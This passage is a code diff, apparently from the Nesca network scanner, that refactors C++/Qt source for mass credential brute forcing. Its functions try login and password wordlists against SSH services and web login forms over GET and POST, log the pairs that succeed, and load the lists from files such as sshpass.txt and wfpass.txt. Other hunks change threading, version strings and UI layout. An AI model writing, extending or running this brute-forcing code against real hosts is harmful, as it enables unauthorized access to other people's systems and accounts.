if (ptr1 == NULL) {
|
||||
stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp));
|
||||
return -1;
|
||||
}
|
||||
|
||||
strncpy(login, temp, ptr1 - temp);
|
||||
strcpy(pass, ptr1 + 1);
|
||||
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
|
||||
ZeroMemory(login, sizeof(login));
|
||||
@ -109,18 +156,15 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
if(res == 0)
|
||||
{
|
||||
if(i == 0) return -2; //Failhit
|
||||
BruteUtils::BConDec();
|
||||
return 1;
|
||||
}
|
||||
else if(res == -2)
|
||||
{
|
||||
BruteUtils::BConDec();
|
||||
return -2;
|
||||
};
|
||||
|
||||
Sleep(500);
|
||||
};
|
||||
BruteUtils::BConDec();
|
||||
return -1;
|
||||
}
|
||||
|
||||
@ -131,7 +175,10 @@ int SSHAuth::SSHLobby(const char *ip, int port, std::string *buffer)
|
||||
const char &banner = _get_ssh_banner(ip, port);
|
||||
if(strlen(&banner) > 0)
|
||||
{
|
||||
return SSHBrute(ip, port, buffer, &banner);
|
||||
BruteUtils::BConInc();
|
||||
int res = SSHBrute(ip, port, buffer, &banner);
|
||||
BruteUtils::BConDec();
|
||||
return res;
|
||||
};
|
||||
return -1;
|
||||
}
|
||||
|
@ -8,7 +8,6 @@ std::queue<std::string> Threader::ipQueue;
|
||||
|
||||
void Threader::fireThread(std::string ip, void *func(void)) {
|
||||
|
||||
|
||||
std::unique_lock<std::mutex> lk(m);
|
||||
ipQueue.push(ip);
|
||||
if(threadId < gThreads) {
|
||||
|
@ -1,13 +1,12 @@
|
||||
#include "WebformWorker.h"
|
||||
|
||||
bool WFClass::active = false;
|
||||
#include "FileUpdater.h"
|
||||
|
||||
lopaStr WFClass::parseResponse(const char *ip,
|
||||
const int port,
|
||||
const std::string *buffer,
|
||||
const char* formVal,
|
||||
const int *iIndex,
|
||||
const int *jIndex) {
|
||||
const char *login,
|
||||
const char *pass) {
|
||||
|
||||
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
|
||||
|
||||
@ -29,12 +28,10 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
&& Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1
|
||||
) {
|
||||
|
||||
if(*iIndex == 0) return result;
|
||||
|
||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||
QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex]));
|
||||
strcpy(result.login, wfLoginLst[*iIndex]);
|
||||
strcpy(result.pass, wfPassLst[*jIndex]);
|
||||
QString(login) + ":" + QString(pass));
|
||||
strcpy(result.login, login);
|
||||
strcpy(result.pass, pass);
|
||||
return result;
|
||||
|
||||
} else {
|
||||
@ -60,14 +57,20 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxWFLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
strcpy(login, wfLoginLst[i]);
|
||||
|
||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
strcpy(pass, wfPassLst[j]);
|
||||
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||
|
||||
if(rSize > 256) {
|
||||
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
@ -75,15 +78,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
};
|
||||
|
||||
char nip[256] = {0};
|
||||
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]);
|
||||
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
|
||||
|
||||
std::string buffer;
|
||||
Connector::nConnect(nip, port, &buffer);
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
||||
"; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
++passCounter;
|
||||
|
||||
result = parseResponse(ip, port, &buffer, formVal, &i, &j);
|
||||
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
if(i == 0) ++i;
|
||||
}
|
||||
firstCycle = 1;
|
||||
@ -103,14 +108,20 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxWFLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
strcpy(login, wfLoginLst[i]);
|
||||
|
||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
strcpy(pass, wfPassLst[j]);
|
||||
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||
|
||||
if(rSize > 256) {
|
||||
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
@ -120,15 +131,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
char nip[256] = {0};
|
||||
char postData[256] = {0};
|
||||
sprintf(nip, "%s%s", ip, actionVal);
|
||||
sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]);
|
||||
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
|
||||
|
||||
std::string buffer;
|
||||
Connector::nConnect(nip, port, &buffer, postData);
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
++passCounter;
|
||||
|
||||
return parseResponse(ip, port, &buffer, formVal, &i, &j);
|
||||
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
if(i == 0) ++i;
|
||||
}
|
||||
firstCycle = 1;
|
||||
|
@ -10,13 +10,13 @@
|
||||
|
||||
class WFClass : BruteUtils {
|
||||
|
||||
private: static bool active;
|
||||
private:
|
||||
int passCounter = 1;
|
||||
lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
|
||||
lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
|
||||
lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal,
|
||||
const int *iIndex,
|
||||
const int *jIndex);
|
||||
const char *login,
|
||||
const char *pass);
|
||||
|
||||
|
||||
public:
|
||||
@ -26,12 +26,10 @@ public:
|
||||
|
||||
++WF;
|
||||
BConInc();
|
||||
this->active = true;
|
||||
passCounter = 1;
|
||||
}
|
||||
|
||||
~WFClass(){
|
||||
this->active = false;
|
||||
BConDec();
|
||||
}
|
||||
|
||||
|
@ -42,11 +42,12 @@ extern unsigned int Activity;
|
||||
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||
trcPort[32], trcSrvPortLine[32], saveEndIP[128],
|
||||
gRange[128], gFirstDom[128], gPorts[65536],
|
||||
gVER[16],
|
||||
gProxyIP[64], gProxyPort[8],
|
||||
currentIP[MAX_ADDR_LEN],
|
||||
finalIP[32];
|
||||
|
||||
extern char gVER[32];
|
||||
|
||||
struct pl{
|
||||
int loginCounter;
|
||||
int passCounter;
|
||||
|
@ -15,7 +15,7 @@ extern char* strstri(const char *_Str, const char *_SubStr);
|
||||
extern void nCleanup();
|
||||
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
//extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
extern void _SaveBackupToFile();
|
||||
extern char *_findFirst(const char *str, char *delim);
|
||||
//extern int nConnect(char *ip, int port, std::string *buffer);
|
||||
|
@ -8,6 +8,7 @@
|
||||
#include "FTPAuth.h"
|
||||
#include "SSHAuth.h"
|
||||
#include <memory>
|
||||
#include "FileUpdater.h"
|
||||
|
||||
char* strstri(const char *_Str, const char *_SubStr)
|
||||
{
|
||||
@ -190,6 +191,8 @@ int globalSearchNeg(const char *buffcpy, const char *ip, int port)
|
||||
char negWord[256] = {0};
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i)
|
||||
{
|
||||
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if(!globalScanFlag) return -1;
|
||||
|
||||
strcpy(negWord, GlobalNegatives[i]);
|
||||
|
@ -41,7 +41,8 @@ SOURCES +=\
|
||||
BasicAuth.cpp \
|
||||
FTPAuth.cpp \
|
||||
Threader.cpp \
|
||||
SSHAuth.cpp
|
||||
SSHAuth.cpp \
|
||||
FileUpdater.cpp
|
||||
|
||||
|
||||
HEADERS += ActivityDrawerTh_HorNet.h \
|
||||
@ -69,7 +70,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \
|
||||
BruteUtils.h \
|
||||
FTPAuth.h \
|
||||
Threader.h \
|
||||
SSHAuth.h
|
||||
SSHAuth.h \
|
||||
FileUpdater.h
|
||||
|
||||
FORMS += nesca_3.ui
|
||||
|
||||
|
117
nesca_3.cpp
117
nesca_3.cpp
@ -47,7 +47,7 @@ bool privateMsgFlag = false;
|
||||
char inputStr[256] = {0};
|
||||
bool proxyEnabledFlag = false;
|
||||
bool disableBlink = false;
|
||||
char gVER[16] = {0};
|
||||
char gVER[32] = {0};
|
||||
int nickFlag;
|
||||
int offlineFlag;
|
||||
bool OnlineMsgSentFlag = false;
|
||||
@ -471,51 +471,55 @@ void nesca_3::slotDrawTextPlacers()
|
||||
sceneTextPlacer->addLine(85, 110, 90, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 110, 83, 110, penPT);
|
||||
|
||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
||||
#if (!defined(WIN32) && !defined(_WIN32) && !defined(__WIN32)) || defined(__CYGWIN__)
|
||||
int linuxOffsetKOSTYL = 3;
|
||||
#endif
|
||||
|
||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
||||
item->setX(25);
|
||||
item->setY(94);
|
||||
item->setY(94+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
||||
item->setX(25);
|
||||
item->setY(105);
|
||||
item->setY(105+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(155, 130, 170, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 131, 154, 131, penPT);
|
||||
item = sceneTextPlacer->addText("- Basic Auth", fnt);
|
||||
item = sceneTextPlacer->addText("- Basic Auth", fnt);
|
||||
item->setX(25);
|
||||
item->setY(115);
|
||||
item->setY(115+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
||||
item = sceneTextPlacer->addText("- Suspicious", fnt);
|
||||
item->setX(25);
|
||||
item->setY(125);
|
||||
item->setY(125+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(230, 150, 250, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 151, 229, 151, penPT);
|
||||
item = sceneTextPlacer->addText("- Overloads", fnt);
|
||||
item->setX(25);
|
||||
item->setY(135);
|
||||
item->setY(135+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
||||
item = sceneTextPlacer->addText("- Lowloads", fnt);
|
||||
item->setX(25);
|
||||
item->setY(145);
|
||||
item->setY(145+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(310, 170, 330, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 171, 309, 171, penPT);
|
||||
item = sceneTextPlacer->addText("- Alive", fnt);
|
||||
item = sceneTextPlacer->addText("- Alive", fnt);
|
||||
item->setX(25);
|
||||
item->setY(155);
|
||||
item->setY(155+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
}
|
||||
else if(VoiceScanFlag)
|
||||
@ -2550,50 +2554,70 @@ void CreateVerFile()
|
||||
};
|
||||
}
|
||||
|
||||
const char *GetVer()
|
||||
std::string GetVer()
|
||||
{
|
||||
int dver = 0;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int dver = 0;
|
||||
int tver = 0;
|
||||
|
||||
dver = __DATE__[9] - 48;
|
||||
dver *= 10;
|
||||
dver += __DATE__[10] - 48;
|
||||
dver *= 100;
|
||||
dver = __DATE__[9] - 48;
|
||||
dver *= 10;
|
||||
dver += __DATE__[10] - 48;
|
||||
dver *= 100;
|
||||
|
||||
if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1;
|
||||
else if(__DATE__[0] == 'F') dver += 2;
|
||||
if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1;
|
||||
else if(__DATE__[0] == 'F') dver += 2;
|
||||
else if(__DATE__[0] == 'M' && __DATE__[2] == 'r') dver += 3;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4;
|
||||
else if(__DATE__[0] == 'M' && __DATE__[2] == 'y') dver += 5;
|
||||
else if(__DATE__[0] == 'J' && __DATE__[2] == 'n') dver += 6;
|
||||
else if(__DATE__[0] == 'J' && __DATE__[2] == 'l') dver += 7;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8;
|
||||
else if(__DATE__[0] == 'S') dver += 9;
|
||||
else if(__DATE__[0] == 'O') dver += 10;
|
||||
else if(__DATE__[0] == 'N') dver += 11;
|
||||
else if(__DATE__[0] == 'D') dver += 12;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8;
|
||||
else if(__DATE__[0] == 'S') dver += 9;
|
||||
else if(__DATE__[0] == 'O') dver += 10;
|
||||
else if(__DATE__[0] == 'N') dver += 11;
|
||||
else if(__DATE__[0] == 'D') dver += 12;
|
||||
|
||||
if(__DATE__[4] != ' ')
|
||||
{
|
||||
dver *= 10;
|
||||
dver += __DATE__[4] - 48;
|
||||
}
|
||||
else dver *= 10;
|
||||
dver *= 10;
|
||||
dver += __DATE__[5] - 48;
|
||||
if(__DATE__[4] != ' ')
|
||||
{
|
||||
dver *= 10;
|
||||
dver += __DATE__[4] - 48;
|
||||
}
|
||||
else dver *= 10;
|
||||
dver *= 10;
|
||||
dver += __DATE__[5] - 48;
|
||||
|
||||
tver = __TIME__[0] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[1] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[3] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[4] - 48;
|
||||
tver = __TIME__[0] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[1] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[3] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[4] - 48;
|
||||
|
||||
char db[32] = {0};
|
||||
sprintf(db, "%X-%X", dver, tver);
|
||||
char dverX[16] = {0};
|
||||
char tverX[16] = {0};
|
||||
|
||||
sprintf(dverX, "%X", dver);
|
||||
sprintf(tverX, "%X", tver);
|
||||
|
||||
std::string db = std::string(dverX) + "-" + std::string(tverX);
|
||||
|
||||
return db;
|
||||
#else
|
||||
FILE *f = fopen("version", "r");
|
||||
if(f != NULL) {
|
||||
char buff[32] = {0};
|
||||
fgets(buff, 32, f);
|
||||
fclose(f);
|
||||
|
||||
std::string db = std::string(buff);
|
||||
return db;
|
||||
} else {
|
||||
stt->doEmitionRedFoundData("Cannot open version file.");
|
||||
return "?";
|
||||
};
|
||||
#endif
|
||||
}
|
||||
|
||||
void nesca_3::slotShowRedVersion()
|
||||
@ -2632,11 +2656,12 @@ void _startMsgCheck()
|
||||
QTime time = QTime::currentTime();
|
||||
qsrand((uint)time.msec());
|
||||
|
||||
strcpy(gVER, GetVer());
|
||||
QString QVER(gVER);
|
||||
const std::string &gVERStr = GetVer();
|
||||
strcpy(gVER, gVERStr.c_str());
|
||||
QString QVER(gVER);
|
||||
ui->logoLabel->setToolTip("v3-" + QVER);
|
||||
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
|
||||
CreateVerFile();
|
||||
RestoreSession();
|
||||
|
@ -4,6 +4,7 @@
|
||||
#include "externFunctions.h"
|
||||
#include "Connector.h"
|
||||
#include "Threader.h"
|
||||
#include "FileUpdater.h"
|
||||
#include <thread>
|
||||
|
||||
QJsonArray *jsonArr = new QJsonArray();
|
||||
@ -59,6 +60,38 @@ volatile int cons = 0;
|
||||
volatile int BrutingThrds = 0;
|
||||
volatile int threads = 20;
|
||||
|
||||
unsigned char tl(unsigned char d)
|
||||
{
|
||||
if(d >= 192 && d <= 223)
|
||||
{
|
||||
return (unsigned char)(d + 32);
|
||||
}
|
||||
else
|
||||
{
|
||||
return tolower(d);
|
||||
};
|
||||
}
|
||||
|
||||
std::string toLowerStr(const char *str)
|
||||
{
|
||||
if(str != NULL) {
|
||||
int tsz = strlen(str);
|
||||
char *strr = new char[tsz+1];
|
||||
ZeroMemory(strr, tsz);
|
||||
|
||||
for (int i = 0; i < tsz; i++)
|
||||
{
|
||||
strr[i] = tl(str[i]);
|
||||
};
|
||||
|
||||
memset(strr + tsz, '\0', 1);
|
||||
|
||||
std::string tstr = std::string(strr);
|
||||
delete []strr;
|
||||
return tstr;
|
||||
} else return "";
|
||||
}
|
||||
|
||||
void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv)
|
||||
{
|
||||
FILE *errFile = fopen("./logs/ns-track_errors.html", "r");
|
||||
@ -724,44 +757,13 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
|
||||
return gTargets;
|
||||
}
|
||||
|
||||
unsigned char tl(unsigned char d)
|
||||
{
|
||||
if(d >= 192 && d <= 223)
|
||||
{
|
||||
return (unsigned char)(d + 32);
|
||||
}
|
||||
else
|
||||
{
|
||||
return tolower(d);
|
||||
};
|
||||
}
|
||||
|
||||
std::string toLowerStr(const char *str)
|
||||
{
|
||||
if(str != NULL) {
|
||||
int tsz = strlen(str);
|
||||
char *strr = new char[tsz+1];
|
||||
ZeroMemory(strr, tsz);
|
||||
|
||||
for (int i = 0; i < tsz; i++)
|
||||
{
|
||||
strr[i] = tl(str[i]);
|
||||
};
|
||||
|
||||
memset(strr + tsz, '\0', 1);
|
||||
|
||||
std::string tstr = std::string(strr);
|
||||
delete []strr;
|
||||
return tstr;
|
||||
} else return "";
|
||||
}
|
||||
|
||||
void _connect() {
|
||||
std::string ip = "";
|
||||
while (globalScanFlag) {
|
||||
std::unique_lock<std::mutex> lk(Threader::m);
|
||||
Threader::cv.wait(lk, []{return Threader::ready; });
|
||||
if (Threader::threadId > gThreads || !globalScanFlag) {
|
||||
|
||||
if (Threader::threadId > gThreads || !globalScanFlag) {
|
||||
--Threader::threadId;
|
||||
Threader::ready = false;
|
||||
lk.unlock();
|
||||
@ -811,309 +813,6 @@ void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, c
|
||||
progressOutput(target);
|
||||
}
|
||||
|
||||
void _passLoginLoader() {
|
||||
MaxLogin = 0;
|
||||
MaxPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
int i = 0;
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
|
||||
if(passList != NULL && loginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
rewind(passList);
|
||||
|
||||
loginLst = new char*[MaxLogin];
|
||||
passLst = new char*[MaxPass];
|
||||
|
||||
for(int j = 0; j < MaxLogin; j++)
|
||||
{
|
||||
loginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
for(int j = 0; j < MaxPass; j++)
|
||||
{
|
||||
passLst[j] = new char[32];
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
|
||||
i = 0;
|
||||
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
|
||||
fclose(loginList);
|
||||
fclose(passList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
|
||||
MaxWFLogin = 0;
|
||||
MaxWFPass = 0;
|
||||
|
||||
FILE *wfLoginList;
|
||||
FILE *wfPassList;
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
i = 0;
|
||||
|
||||
wfLoginList = fopen("wflogin.txt", "r");
|
||||
wfPassList = fopen("wfpass.txt", "r");
|
||||
|
||||
if(wfPassList != NULL && wfLoginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
rewind(wfPassList);
|
||||
|
||||
wfLoginLst = new char*[MaxWFLogin];
|
||||
wfPassLst = new char*[MaxWFPass];
|
||||
|
||||
for(int j = 0; j < MaxWFLogin; j++)
|
||||
{
|
||||
wfLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
for(int j = 0; j < MaxWFPass; j++)
|
||||
{
|
||||
wfPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
|
||||
i = 0;
|
||||
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
fclose(wfPassList);
|
||||
fclose(wfLoginList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
|
||||
MaxSSHPass = 0;
|
||||
FILE *sshlpList;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
i = 0;
|
||||
|
||||
sshlpList = fopen("sshpass.txt", "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
|
||||
sshlpLst = new char*[MaxSSHPass];
|
||||
|
||||
for(int j = 0; j < MaxSSHPass; j++)
|
||||
{
|
||||
sshlpLst[j] = new char[32];
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
|
||||
fclose(sshlpList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp) {
|
||||
char buffFG[256] = {0};
|
||||
int i = 0;
|
||||
GlobalNegativeSize = 0;
|
||||
|
||||
if(nFile != NULL)
|
||||
{
|
||||
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
||||
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
||||
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
||||
{
|
||||
++GlobalNegativeSize;
|
||||
};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(nFile);
|
||||
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
||||
|
||||
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
||||
|
||||
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
